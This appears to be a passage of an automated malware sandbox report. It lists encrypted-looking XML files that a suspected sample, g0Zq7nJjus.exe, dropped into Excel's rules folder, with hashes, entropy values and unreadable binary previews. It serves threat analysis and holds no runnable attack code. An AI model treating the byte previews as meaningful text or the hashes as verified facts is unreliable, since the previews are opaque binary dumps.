Preview:	<?xml'..2...&....)...t...!..C.%....Z.5.Q.<.V.9.h.....;b)#.s.O..h\|..l-h\..Z.....d..-.C/..d..4.p.d-..... dz.\F......zX}.[.....A..x.^ .R.q.".0{8.}T.C.....~.......!Sb+..G..S..t.f...9....g.[.....v..E...H..c.......JY..i...U.....0a..5..Cg.;...t.p.NG<0.J....j1.."z.#..}...-:7..a.....16\2.t.Z...Q.....Y....C_3t(.Y6..S..\(.7.bd...o..7.i\|E0:..K......GN.....(..z.>.."...F..Y.<......i.%..:k.7.+....e.p.2x...C.@..q.8.W.S-....'>....'Y`.ypV.. ..[^+..^....X....bl...........v.<&J..>..&..r[..\....k.n..(.Se<%..}..W1.8d.....5.&......}.@0cN...\|...o.j...z.......s..lE..4..e.:R..._......M.1..JBG....%.>.:..6{.x_..f..2X.Fni..a..Y\|6!..K.k..`.............P!'...w......HKk......D..A....r1^~%.>.:.v..(..RS.e.\\|1j(u....,..#.X&..m...>..k.t.9...._.B..{+.,.H....W..1Bq..n.%..........X...j..yg..S.e.....S................. .fzu.......{. H..}.*IC....}...rz....jU.....G..8(.-.\|....P.L..M.!....q...)d4.`....V..b...9..e..).M.....$.p..3P.?i...!Q...^...3.t..kt.........{X.ds..[..~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.886139745010569
Encrypted:	false
SSDEEP:	48:V0uTQMfv4uNV96KhFjCEEstacwkF6ib6IW2f3l2DOlQfD:VNbfQuXICEAanhimIBESlm
MD5:	E88EBAA27148AC21948C61BD513175D2
SHA1:	9EE6BA09014D7750D1D72D3FCBB18664079618DF
SHA-256:	0389DFAC82126D2DC695E0256CF4F49446CFA9C7668DFEFB50220A10F8043300
SHA-512:	F2307E63240C54F93F5779538E31C6FDEFC2BF5FC0BABAE961071D571C453E1F01917FE54C2B34F569C00F265C2A84AA9DFC9015852A8D51B33F2C2A18CBE70B
Malicious:	false
Preview:	<?xmlq...$..`7..6;.I..1].bc.....p:x...<D.. g:s......[..t..d.....[.~..a1.P...Q\.?..4g.V9t.Qy....._.3.\8......}.P&?.S.@&k{m7f........C...@F.Q...#A..9.xa.......j.....3%....#..Sl..x..P+.^.8...9y..u.&bq..5.3#U[.]'Lb..O.V..C{..q.)-.....i..i...#P...._4...v;.....OR]..n..o..[.[.+...0w.O...3...2..)2...g!.JD.....k1..lj.......qo....-3....(."1.J./x...2. .....I..U(v....@OY0..S.$.u...%\[.....DB.Y.9o.yA...=sE.....K]..x.b`U:.vBA.6..X.....Y..w....wc#.q.FI...Cx)........\.G.H.z....AZ..h.$G...d.V/......C......J...._.{..p....Q.=z..rm..QZ._..{O...h<.<..A.H._X.\...2.5..R.#w7.M.4.V'...T..+..c.{.Y.m`.IW..K...<.r7:[..V2.\.7...o....G...Z[.)l.,......k.....(..[;P.....~Cq],7k........gV\|.....]F..}0.g....y.n.U.L;R.L.G.T...;. .Y......^...L$..!.qU.B..soAV/..E.....>5.1.]...7.'Gn..l,..<....v.\...0.W.A[...n....3.#...ff).<.~...:..Vd....U..I......7.%.b,...9..l...c..f..-.Y..kk...}.C...z.#R;...s.T....60.<...Z.<....D.k+T}..<..7zS...>.\{.....yO..3[..\......I..{.B:P[.*s......q.8F

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.882710360694238
Encrypted:	false
SSDEEP:	48:UYfmguuvsXc5KKqjdK8ElYrwv6dyXy0qZtJKYXYcfWD:Uzuv25Q8EyIydZtJXk
MD5:	C9C8B7DA3CB67EDD779C535DEA1D25B5
SHA1:	2B94932C2F3BD6938AD48308C2C96B58D496C4CE
SHA-256:	E7EDB5802992C630B0F34F44745C2D01B59B916BC4297CDEE1A905ADF002016E
SHA-512:	298D521CED0BFB709F2D9F8FB3DB7C38C15FEE90092383266FF9A23D8410DB2EA5EF8A0A3EC62C75C2F3EBC44EFEA8D6E06B7C01AA95F3B7009F7E4EAF19B209
Malicious:	false
Preview:	<?xml...s.{..J...'..3....n..s.`C...r....0.U...0....f.. ....a......D...q..f13Z....O\|...a!......(.`.....c..N&.....N.Iq".?.....E&..c....?.....A.1..U....>.U.B...y}\|.\|........q..vo....P892UL.<$3EH..R.7<a....Z.".J..\.Rz$.....Z..5...f......9.$..r.Oc..B... \|...7f.............H+.@..ZZ.Xd..qG.0(.\|{.....Xla..rY..&TD.+...P..t..%6..z......f....@GQ.............eS[D..T.d.....FE%q..d.D....g....n.o.E...#.W..\|F2q...&..9E..[....1..r...&....&.>..L.(O..x..g,%.V..`....b..j.J^..5m.....&p!.h.t$.....W=.....7u....r...`....L. ./..u...~`".......}.j.s...'.Z.....A..N..pN....y.~.@..\|.r.....).'.Di....L..F?Rgl...9....=I.B...W....f.q.q~.......A].RGd@....?.=........5.`.../.....s..].0'.9.)+Y<..r...(......K..D......r..c3D^C.{.%..6...1Hwq.n..c....&..=..uO.K..}1.. ]q...m......O...c_'.E.{.yG...v..qc..E.``2.M...@.....,B...#;..F.g.a..[...o/EF.X.A.).A.Gv.N...u..x...=.f3............Za.{F..r.Z.:.A.0..U0Z..U...P..>.....w..`..m.\|.gu..g..[.K.O}A.l.>...l+.e.._..x..zH..@.4..K..w...k.r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.899578519441079
Encrypted:	false
SSDEEP:	48:L+4K81WxhDdXQlYJWUmISwNrlx4uRP84U0D:L5axharUmlwvhRFUg
MD5:	D4A485F012C332E67A5C8A09341B8A19
SHA1:	92B064F65291790240438FA4BA91FC49D95D4038
SHA-256:	D40408A0CDDB4FE2D5E53512F9FAA3DF9878365D68AE0205EB2D2B2D528F24ED
SHA-512:	1C748B49F9EC6C2631FA911D7D6786A8FFEB7F927B1A2288F1D144C5408ED34F661D3CC2EFE1C79446108BB48FBF7FCA9ECFD9684CBD21B653452AF3ECBB3B5C
Malicious:	false
Preview:	<?xmlJ01;..=q.PC.".f.KIooFwkQ..h9..B.......w.V.....{....\|u.n.H.fC..k.....0%b.d:.(.....l..D&...Yfr.~..u-.8.H.5.k.>...4.;[#......Q.A.=N..t..I...Lw2..6.1..I5!K.F.eP2k.rV5A.]X...j.N..$........".....Kz5\...N.M...3;z..5."...KaZ..xZ.-..9T..h?..}..2;.E...m.i.k.i\|..L[N{ .........'@.h<.4j.[M..q5AP.....ku.w.]..y...?.>...w4g61&;....{u..jP..Xi....;~....\..%.BHOH!4G.1.......z.....o.lf,..+.e..q(..@..TA.<.N.;.n...&(....J....y..H..n..".g. ...z9.....[.(l...%.......v...HT........\|..~.7.....Y.:<`..h...E.u.O...g..t_6am[...%.....E..9.K.y..Vd....2o..mY.r...c/&...T...%...r...._...~g.....O.0&#. . ....Y..8.l..H..-DQ.KWQ./....A...9.A.x+..PE....e....Sn.:6..*.........z..~....v.8..;....s.BfN..{..Tp.Z..MM.."..v....."..T.c..X.w.@..E.@.7_.!S....z7....V..#{.. .._..Y./N...=.1......'fT.6,....Rt..~.{G)G..._...d3....1a.Q.{p+....+C....<...Yc7D...r.k.4Iu./...V...n=o%...O.../.........."...f.'>....>n$..3{.TSbT0G....Y0.X.......}..M...Y-&y=..i..UF...Y3.-..+[.....n.K.0.....#..Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8721558042681155
Encrypted:	false
SSDEEP:	24:K3jIfYD6XI2T/WBbBJ91Y9AdHxenXMWqJ7dfj8yibYiXoVSkvsvLx+2bD:MkHvWBBJsoonXMZ7RjwbvcSbtlD
MD5:	A050FB4631CD73AB7148C7A4C9242B60
SHA1:	39C6274C18606FE44F35DB884F0F9CE636A89A51
SHA-256:	A35D40ED942B722BC94F720A122CAF3873AAF42FFC461A261B0F17D8F8C69419
SHA-512:	38F82561B0C2F410C927D2CDB554B5A55FDC6764C0A1D1800FF14F6FC1277A6A54A70285A862D024A83B7A7F2F5DF7633A4D829C28C492E035A25A897690AA30
Malicious:	false
Preview:	<?xmlL.V.....6...v..g........+.}b.i.X.........b.4."...s..J.<.;.&:a.m>..X[,....Oc.....gf.b.....=........l.M7..S.Y8.v.tK....L...pV..$6..?.j..yP..?...;..JL....~v....S..%....3..=.....\|.%....$.[.`.^..=.e....zZ.B....,X...b..p..h.L.m.gO.....6..7......j....?/....?.w.pq..U..4.....e..#.&..?.O.'i.yv..).>,.....0K....N......u?.....v..`.<q...v...b.....(..! y.....S..7p.{....q'.C9....H......j...!..F.}.2....^.B...n...fKI5..\...j.&4..Ln...I.....P..v.......E.l...,S.!.2qm..H..].qk.&.G.B.. _B.Z.}Y%...M.k...R...h@._......e..6.P..E....\|X...b......!y.q.s-...+..CvV.D.`R...5..=....Mz#9.a..4...2....l..?.SJ#D..W.K......A.j....m....ql..8..RZq..7.`...n...Lk;n....2...@& o..R........Ty..aCW.g..X.RE...m.I^.._.3.u..lv...'.G>.QD}.YQs1.a.u....v]u..).....{#[dQ....J.I^h.X...o...T'i....M(.......b.f5.....q.W.j......-,....m')i.Q.E.hH..r.S.3k...v@\|h.,..7.2...11.....j/...+..H.....,.=.URI...<......1.f`.$(.l>.W..%l...m_..B..n...p!<.B.\|.8.....)).le."pU.. .Or....B...h.&S......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.889869077114574
Encrypted:	false
SSDEEP:	48:ryKugRy14VtC9wJHUNBJtFc79VOVmvRmn0OaD:rygRjVtC2JqBJs7OVmRmnBy
MD5:	D621AE9595648EF45EBF0E11D13BB347
SHA1:	5E50034502FB6B74A519E68DD349FF12E77B8849
SHA-256:	79093DAA89D9D0318AE926DE665A90F458C5EE63FEFBDFA987DFACC4809559DD
SHA-512:	043F084AFDE2809CAA28C6CD948D36C49D4598C2D1DAE33EBECFAD132F2819D71935CA58C196F320668BF9FD1BADAF24870A64A9759D7ADD4A23EC523EE38248
Malicious:	false
Preview:	<?xml..52...Z....A.U.:...N.....\|.{6`.#.d.r.q1'y..RYD.YM... O.,;....V..<..4..\2..[..2mlb..\..... iBe.5.../%T....tc.=..yV`....(....v......RX........D..'fQ.*.......n.Oio...S...PiR..O.%A.Z8.z3..q3.l......MC....w?...);..g.P[i......8.Z.).....k..B...X...>.B....q6yK+._.....T..~hc....5.W'y.5...Q..3].`3O.!=.B...x/.`.zz..M......p..6.h....kS...[......E..X<i....vq...Y#.C..xQ.E.a.%_.CDG..v.K.Rw.......,...m$..P{S..../M^.Bc..z-..?...".s.$..a....E..3/...x;.'.....ho..g......:................D...a$..px$..U.p<.-.:..I6.i...AE...Zh.f/i.g..~..5.m..>X>..4.N........_...G;JMJI...X2......Li...l.%er......R........@+.H..\|..H?..=_.c..._.^....<.m[.t...{<R\.TR.z..g';..X\e_..v.R.IfF......UOAG}..........$.n.....~].N..)~.iO...........Q..Ox.-ke..i5+........u....._.]3..XAA7G.P?.K..0...k..1..i.:.F"-.i.a.e_..(..3.2.../......RQ.........dQH1.....j..KG...8.......h!J.6..]h.x.0G...%....".$.....I.w..I..B{3.>..............="T@.NFh.@.3...$.R.Y...P!..u}.J.7R,T.S)...k../H. .J.PZ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.866732440031054
Encrypted:	false
SSDEEP:	48:3mvixk+aZfBWjg1qZC1ZCY78Mnb0W5BJCD:3a8k+aZwg4C1wYPbH5Bw
MD5:	1BE889933BCDC4E3665DEABE7286E304
SHA1:	A90EFB66E5A28A9358725A523E13C1F80C5A0442
SHA-256:	4F55A402DF97EECEE72417D774D4AF17C8D2DF906BA41C19CAE3AB30D91BC3D0
SHA-512:	E8E95F6E65EBD1DD9E00AF169BF1F2E52309B9D3AC68B0B6308F303A4DBF30415FA2D53A5AD99F2F706D318C299948CC5D09228A32641FE307D37BA233083997
Malicious:	false
Preview:	<?xmlV.wS........WZ...Q.....),..Cd.+g.o../.]..[6.........R....w...o.'......)..X.\|...>...q.S..3%.......E...fgsZ..-9............D.w...9.4.......#U;..}...w....h...0K....'.A:..U.b..>.Q.b...F...J4`m......p....o.........5.`.>Bh@B..k!..&......>.3a:.......2J....`..p.. ....W4.K...s..QO.q..$U'.DZ.AH7.....E?.k.Bjt.Lt..,.6.D.m..<....$6.h..>.......;...h.J....7..s.w7.j...j....%.N....1..._2.5.....d:#r...O.urj....fd.d..W'......Es.:G....U......Y.I...y>.A.q.0.....IDH<B...V...9...5;........+6...P..Fx......y.2..X....=....<&..C.F_..\|.6R.....S.+...p.`.....d .h/...acXP..8.V_(.....R2..>......DB.B....%_m?w.c..&...d....4.....fW......`..L..S..8.......)...=v....\|=-..P8.....n.JAG.geH...N...D{..\..n.7.s...3..x#..z.....R.a...e.k.`U.P....Z..X..;.;\..n.O.3..>........A..L.8...._G.C..t..B....xCP)....m..~....:.....U...e....bt..p..{J..\|*'..bB.K.Mg..V.?N..P.....m.....X]@...p..}t..\|.X....? ..;..$.A.Vx...T.q)B.....N.0bp.....-y`bk.f.K..%..:...P.n.....[.......6...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.890144204842252
Encrypted:	false
SSDEEP:	48:kSaYbWXqZqAHS4xOc/d7Tzt8kL3gVBo4kD:DaYbWXrba/P8kL0lw
MD5:	77995A6E5EF179688E041B235E2C1A31
SHA1:	A741D0CE3A6B078D876BCC5470C0B1F48A2471AA
SHA-256:	D61F3B4A2664D9BE3395F1C9AD986DE86BFFEECCD969CB85B4194435DA76C55A
SHA-512:	3246FB6F17BBDDCAFF64D29D43FD20BDB34D89FAE290E19452AA106630D95009146E9004785A6FFA31CBC60ECDA2E29EABD5C017E73D7EC635ABFDAE4DF2D8FB
Malicious:	false
Preview:	<?xml.,.y....G<.....}Jvi..yZ. ....:+..).'N....?..S...m..&..v.W..-..$.P.L.>.x.....Z......?.O..O1.)#[.^..j.r....m.........6.Ds-=..50./...=9.-.`..W....?Z...r.F.>+ E.....j.;.0f..Vd....?.V...[.....?.........3i.....1=.fu.L:qa.>5....,ha;....[P.}..O......X.].......D.....k.r.oK%K.X...7.}./.!.q\|...,.N.mP.......z...w5.#.V.A...z=.hN.......@....D ..r...$.........7..\.L.[.x..\|.........3]t~\|.....W~..{'...)/.......m...[.D6..N1s..2..'.6K.7./.!ruH.....7.....3y.jA.(....07..v3.%.p.?9....bj..... ....pnI.y.ai..[r.8..h,...8.@n...W....H.Uo...B.A..\|`...B..%..g......hx6+.........\|......zM...J...m..L5p@...3AT.C3....(..R..+..IO.....J.U.h..m.A=.:.....+a..H'.-..qyI......(6qmK+m....=..N.=l..e....wm.....g.+.(.QI...-.u.).`\|...#.........Fc#vm.Q.&..\|9...}jCk'..E.....f1..'9.5.S..U.O...\|.W.IT..C....(... .P.ak.}..P.. ...O^..Ov.l....&z./.v.[.....%#+.&0wxJ.zu..y..H...A...m.oc....EOy...S...Xs.:.".....M.R.....'7.O.......n.[!.....wuk...S..'.`fX......1..f6=...R.-.......N..ys.w...=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.887614824915737
Encrypted:	false
SSDEEP:	48:wASZRNjWrmDQacZZdfZLjhaTNdu9MC49cYeD:wtjSR7fZLjM3A49+
MD5:	D8B3565C108C610C73AEE7A4B4A2C4A8
SHA1:	F79697D02E04118622ABEF546B31E48EFCEFCD6D
SHA-256:	5A482B85412903172E0D5D5F698C79663C74FDE04DAE64E200CE29D42EB22864
SHA-512:	557C96DD50543E78F5D8BD2EC0B13EDAAE4F5C0ADA840A2578365CF9C4D45370705197634A3FFBC0AFE5E293378E7AA1134DCB4C7E19AAED784C959F9D6CC299
Malicious:	false
Preview:	<?xml..n...q(...!...?.~.,..........G~\|./.J..W..^>..ScZc...a_...;...in...`q.+.Q...H.'..@...:}..........h.A...!X...R.'..!..w~.Jo(.g.t..^!.{.y.....{.p...}...q..M^.K...w..k.,.8......c<.5.$@T....,L.H.f.L..v.A.e...`r.7j2.Y......5..n....{N.9.F.,." .w>.k.jA.[b6.kc.k.O.4-...[f..^sC._~.6..\|'.U........C...O...7...A.:d.q..B..0..$.+D.../.3.q.:..:%`.3.n..Ts$d<....('.SL.lZ..mO...f.kMr.....H.g.5..8!...f."....j.o..."bb....F/.. ....r.d.....R`...V.R.g.9.>C..[7..Q.o%.M..g/Qk<..o.wwx.e.>".......yK...-...[l..+..,.:FeA..#...4....w.!W.M.$.[m.+.v.<..C#_q*hH.N-......<.......[..V.."9.?..[...........5]..?..^...."if..(..@.......x....{zo...P.R...).}c..0.IqJ%b....S....k....=....S..V.T.k...#T[..syh.f).4=&....y...C.C.i.X .taMZm..].P..D.Bx..p..>.e..h....PF3k.L.9+3.. ...c<PP..u.......8.>..eI.\|!.....y1NB.!....L......bkws6.6....;...'.P.=E.#c.h.E...30..\|W.>o.P..M..Xa.`9}...W.Z..G.D..(..?.f...K..2...^.3......5Y...}..8o..p.ox....E.....;.I....G.@}...vs%...s..>4.....>..~..ha

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.894612929584878
Encrypted:	false
SSDEEP:	48:nRyJdf0BW1ZDs0ZDNTJHeC5J0SBHnKjlDh4T58U7t/tcBuD:uf0AvosSlglZtcI
MD5:	EE7815D41E3BC7EBFAB797A18864A67A
SHA1:	101DD01D03EFA34E0698EA970AF4ACFBAA2B4CAA
SHA-256:	25E0B584F5633FCF01D11C30CE37F0215FFF0A2F18C4C480DF483FB5E468A44A
SHA-512:	E2163A29595545A94D5DC2E84EA36DA5DD256014DAD54423B17A27F4A061EA994F6CD165DA6C9FC685206C4A987D2FDAE696884313234C673C8AAB15CE4FE095
Malicious:	false
Preview:	<?xml.qM.I ..66.V>;..!.6......<. .}j...o.HR..n.....6.Z5....w......\J..&.." t.x.....E..h..W9.v...W.A$i.I.#...X^..vE...-.[..!3....ReVCDO....?....).l'"..c.....m....1,%k.........k.....%.@.......Q.2.....-..l.O...$.8..,B..._.M(bk.bz...g..l.F.Ah.#.....ah.Q.m..r.GV_9.......L.?....T.Z.9...rl...R..YVr.&JB~4;..=;.9../.Rs.....o../.5O@u.K...0..%!..U..o..?.B9....j..Osq...yL9.E.1yv.P.O....xv..}.LCO.b..G.....;..:-...]..I......{.2..T..!q!3Buk..M.....L..H..R...L.).z..Q%D0..f..2G....\|....Wj..qr.b^/ElK.....r....Qq.F..r.....{.....$.0........C.Z...h.Qf........wH.....5..4.:jJ;...k_.....l.Cz....`..aVO0Q....s..F.a......:..y....F.."..kN}..l'L...b...U..\.;....N.O..F...1.t/..&G...(..N....o.<..pwf.Z....]...@..d._9.W".p.T.j(..W=..}.".......`.[.h..X.........."e..&.M4..5.Gg&5.=....(...wk9.H....{...hY......f..,%..$.%.@....=J...G.Ie....9P.?x...5.c.0d6.i...:.YZ....q5G(.q.!.6.....z.{.O.S0#....3\4...\~.9..<...C..f..72I+c._...Jy5.w....`.u..*.R...#.7Z..{Q;.'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.883294616145567
Encrypted:	false
SSDEEP:	48:2OOqATyWC63HVFKKDKqTCNIj4qhb42boD:2OgTyWx3TKKDjSK5460
MD5:	4B51F0EB68B3150FA7C89B2FB6EBF0D9
SHA1:	D56E203B77C872A9BC0ADABA0CD0F9F549DEC4AE
SHA-256:	D4CD8F8B6394AA081595BF062C61BA833977556FE4589A122866C779DA3C6EB2
SHA-512:	03968739585D5DCB41BF2FBFDD764A2151E1273E7DB34A411A6901003D2EA31DCF05AE8236BF625281AF546A00FAB78C1F15B0AEFA976CC29E840527C3BE6ABD
Malicious:	false
Preview:	<?xmlO+y.o.~mI..Yz....5.. ....2+ t...tL:H...W.`.xG.....z:q!R.N..........PN./".....7..p.&L...yVt..f.J....4.m....q.\....0......8.oW..'... .[....M..pU...M.jr.z..+`.&-..'yM`C.[...OQ.L..<x....XV.$T]E}P.........}1...o.C..Z..>.....#..%_....V......].Ur.q..z.4%...............&.c.r{..o.^_U..(2..).D:`FY..G.."..q@.XG...u..E$W.k{ K.>......QT.&..]..J.?.?r.9..,f...9.G .%K6.$f.......O..j...sb=.h.00...}..,B.g.)>....V..}z1.&........A....zV.A..X..]./.U ..?.....=....\|..}0.c&.A...&-.W.......U.u4..X.z.c.ho.SpH8..B..nCP2.E7.6...u.N..&..a.A.`..h<./.9....mD.-5%.Z..5r.)....fb.FO.....'o.D#M.>....D.c.!28......>R!.........y..K{4O_......2:...."..g}...l ..Ka.B.D..MsI.4j....B.....aP?$2...#$.y..s~K..%.E.../...B....!n.mu\.0,{M...I'..+..../..*.j%.@X+..h....\|;...8.s..9...ra..uL..n..8"K....xBF..[......[@...........&d...&....@O..<.1.........."..X....t..DH..(. n.g..C.B'.k.6..}......\.-..>G~.)r.YG.S=.;.....~."x....m..........h.bproq}+..V@....b.E.....&n....7.t.G.\..8(.F.KZI.z.....@..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.887999537400201
Encrypted:	false
SSDEEP:	48:Pe2mcLqoDH1PU5SAE3I8QvzEIJAvSnXclv0J3OdV+3D6FD:22mkP5AE3hQzJA6Xcl0J32ee
MD5:	5DB3BE2EFCE827EE29381896F0077CF7
SHA1:	8A0E96A674D08AAD9381C741F7E42611633C5C06
SHA-256:	A8181A4B092EAA0A4AC15D9F66D382D047F98978D7B89F3B2A47CD1CF72FEF41
SHA-512:	FFD1A952A849C456145F83A91DA7E5F9305D7AE1D9886C9280429D371F5A0264629940DA7A1F8D5921C8AE961A1EA2F02CA1D9A2572BCAAE70C03BD891495F4F
Malicious:	false
Preview:	<?xml.@..>sbiu...S)$H......I..$.."~..8q..`..3t...@..].A.5P..}.}.4F#oL4.).Xt..M.x.....I5...H.w).V..1.Fo.'..f......e.xx]....[M.#..(.3.X....tn\|.._h........w>.n.1N.x._m.OH...:....6.... ..l....9G7.?8.(.8.w...c..td.9.}.j.!...........j.8.[..>..-...5...>...\|...p`.Q. ..2....i.c.78.kZ -...P.`.\.=D.p......c.Z{.Fc..+[.M.:.+.z-9R.$o......2.D..... .}^.".z.!5T..U"...7~.......VL.{.>......G..f...w&.-..]XP..d........P.x.[..IT.a..&.>....!...!b....l.9.8u.....i:~.GH..m..#..H.Zx...d6..`....p...~KU.k..g.s.....-`o..A.....wg...s.I..c.!.:.....[.u....$O/EY.V.QD.......Y?.D..c.0.J.-\|..BB..<..K...^......I2.#@. ..Y......:)[.D...&..p..B......_...5.,....{cT....%.Rw.oJ...1e.M...........'.mYc..[h.oK.........4A...@.]..i?..t....f..NE...KV1........14.&..P....t..48.7.W^. .....0rb=...y.\..~.MyI._..P...(Z....ul#!..?.p..E.........y....yX.8.....$,..M..]h..z4..&.>`E..k......#...4m"u.E...kp..R.T.,..9...[.../....7/`.z.......]..Q.X6....)af.s. .D\..e..r.?. .'...{&.._.L<..62./.SO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.876115857517562
Encrypted:	false
SSDEEP:	48:ph9k+/Vs9pKrOY9auAaqIAXThuUuRsTju9nD1MKD:phf9Asf9auAaHAjhu3ROjQ6C
MD5:	7C7B62DCA7C177D70B312B0E69BAAAD7
SHA1:	725EB91AC24452AF7FCDD9F348864080E0CDCDF6
SHA-256:	25EA7FCF0CA268F1D186783828A26AA1ED311B462722CC19D6F95815DDCE1CE9
SHA-512:	BE6B73C7195B751E97AB347F67FFBB1828C244BD284C4B65938A5F33C095E267D4B7CD3CDCD469B3972C0F951BCCE203342DC4BD6875E60F9AE4DCEA1E819948
Malicious:	false
Preview:	<?xml*~VA...=.G.....\|~..LGh.,..D..tOi....U>......A$..IN..YVT.......Hm.B....P.....{.2..(>.~....S....R"..P.<..;i..l.. K.$w..{.[........8..?..9.:...K...q.n...S..1-..z.M..@V.f.../..zJ....X.......2.,s0.w[.L.2.._.zmxE.4.A..<....;w..bB.w..p.tg..zQ(.......d....Y.......)r.;..P.L.~....R....`s-N....}...j>dj.. ....;2.4.. ..Y..M..j....ss`..'.._@v..0...#.Wm:..G..@e...S?U.....Z_.....H..U....\......vTC..\_@.X..m..`..v...y..O....PnP.......o..xm.o.W.1.c.&~...^#...Eb...UC9..N.7.(.y.h!DB...0~R!.T..2...C...3...I&.2..(..mQ4..0...a/..R....U...4(L'.e.M......z...0.".z...[)T.k..".Hx...Q.I.$..27+.}.).s.8....8U..S...@.../.`.2....j~3.j.G...[.F=......$z.M..lybP_.t9{....\|..)V-l.@,.......q.Y..-.Yj.2....2..8...A9)o.ya...t...BT."...UAkn...lz#.{s......'0.)..b..ehk.n.w.`.%._..../.\|..h.......1.9......d..O..M..b..._G...n......}.T...Ky.xd....I.bX.r..-]Z\c5a.'......l{...j?{6...6x.T....e..S;..V.I&,...;...........Y...urm.... .O......j..,Oq2..:.D3qt....b .....4...N..`.os.0..e.....Z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.891431627589206
Encrypted:	false
SSDEEP:	48:BGB2EUGXduAYHOzq1xR1JGPGIVOvmROiD:BU2EUGNteOzq1xHwPvQvSOq
MD5:	76D75224B70F9F932DA823BEF37FD0FA
SHA1:	2837C5021E7F3630A0D24271009521D033FDCBE1
SHA-256:	020846C258AA5E674CB94A9ECD1DFDD4C9D7179825E4906C3A89E2BB9E14B971
SHA-512:	03742116E47F416C6A1FECBEFB876BE378CF139108FB56472C58B978CDD9D827AA7A946BE1CBAD0974A362A58C3B09CD34BB7B08CC8B42EA0BE80BDE01D53449
Malicious:	false
Preview:	<?xml..........<..`...h....D..{..;...0\|-..".\|..>x.pl.#.)..=.1M.hl.A$.S....T....!..>.a....4..N.,A.K.D..a.\OJ/.\|.D.e.3.8....i.l/..<.R...%[.i."...C.iHn..V+...8%.L.>....Q.A.%q..._.Q.E{..gBchK......./.....o5>"{...G....Am`.S.F...,!.../dh.....y8.u.EW.V2Y.E..4.....:.I=.......p..\sb...k....!.;.?.%....nzr. w..7.:...%?.i\|....^.P....x.Z<e...!S......e....2....O.W....!.s.yQ..\|a4F..?CJN..96X^IC......u..p.X..c1~.!.....<....~... ...V....c.S...o.\|...U...a....._....Eu9.;.2uh.f..y&..~.\|...2.om.Y.......$Y(..4..f...{.`....b.y.m...j......,Y.....Ro....H.. ....\|.b!..\...u.5.....O)...0>5Rm.......F.....F=../}$...{.....). _....9r$.K..\|...l.%.\|.S....`}l...$=Gw.v.....UaaY{.V.'._7y..7~C..Z.hc...s.{..(6.Xy.i.s.X..{;Mc.....b..s...b.......o.P.'.c..Gt...K.........*.F.,..-nw..a.-.A3.x."e_.-....\|..N.c..m.../.D....^.......5#N- pW..q(..z.....j.}6.,....sj..:!.S.."t....b.p..;.z.x...7..9..[....u.]..\|'/.0.s.WK.st./.Z.....m..h7G..7.r........W..-a..x.\.W.=./...Q...5.y...^....b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.884407751488173
Encrypted:	false
SSDEEP:	48:/Y/FP2b/9XWPi2uT8dseo+/Wr2HV7T252B7YD:AgBb2FseciHV3RG
MD5:	0B3202F617AE8AF0895EDDDD703557AF
SHA1:	313D22C0743C8090046F9C16F47115168EE1719C
SHA-256:	0AEC055FB6D6D23FC7A7C4AA55870EE5D84DB3A69D458742AB8C4DAFBF1FADDF
SHA-512:	52DED08C20DF5E941513AEAB9B268A396F582C781B7E01211C65C8A30123143F4F6CE7099B7E0A85D1395EC2DE29D5C2D205DA6C27701E1130367B8A603C38C8
Malicious:	false
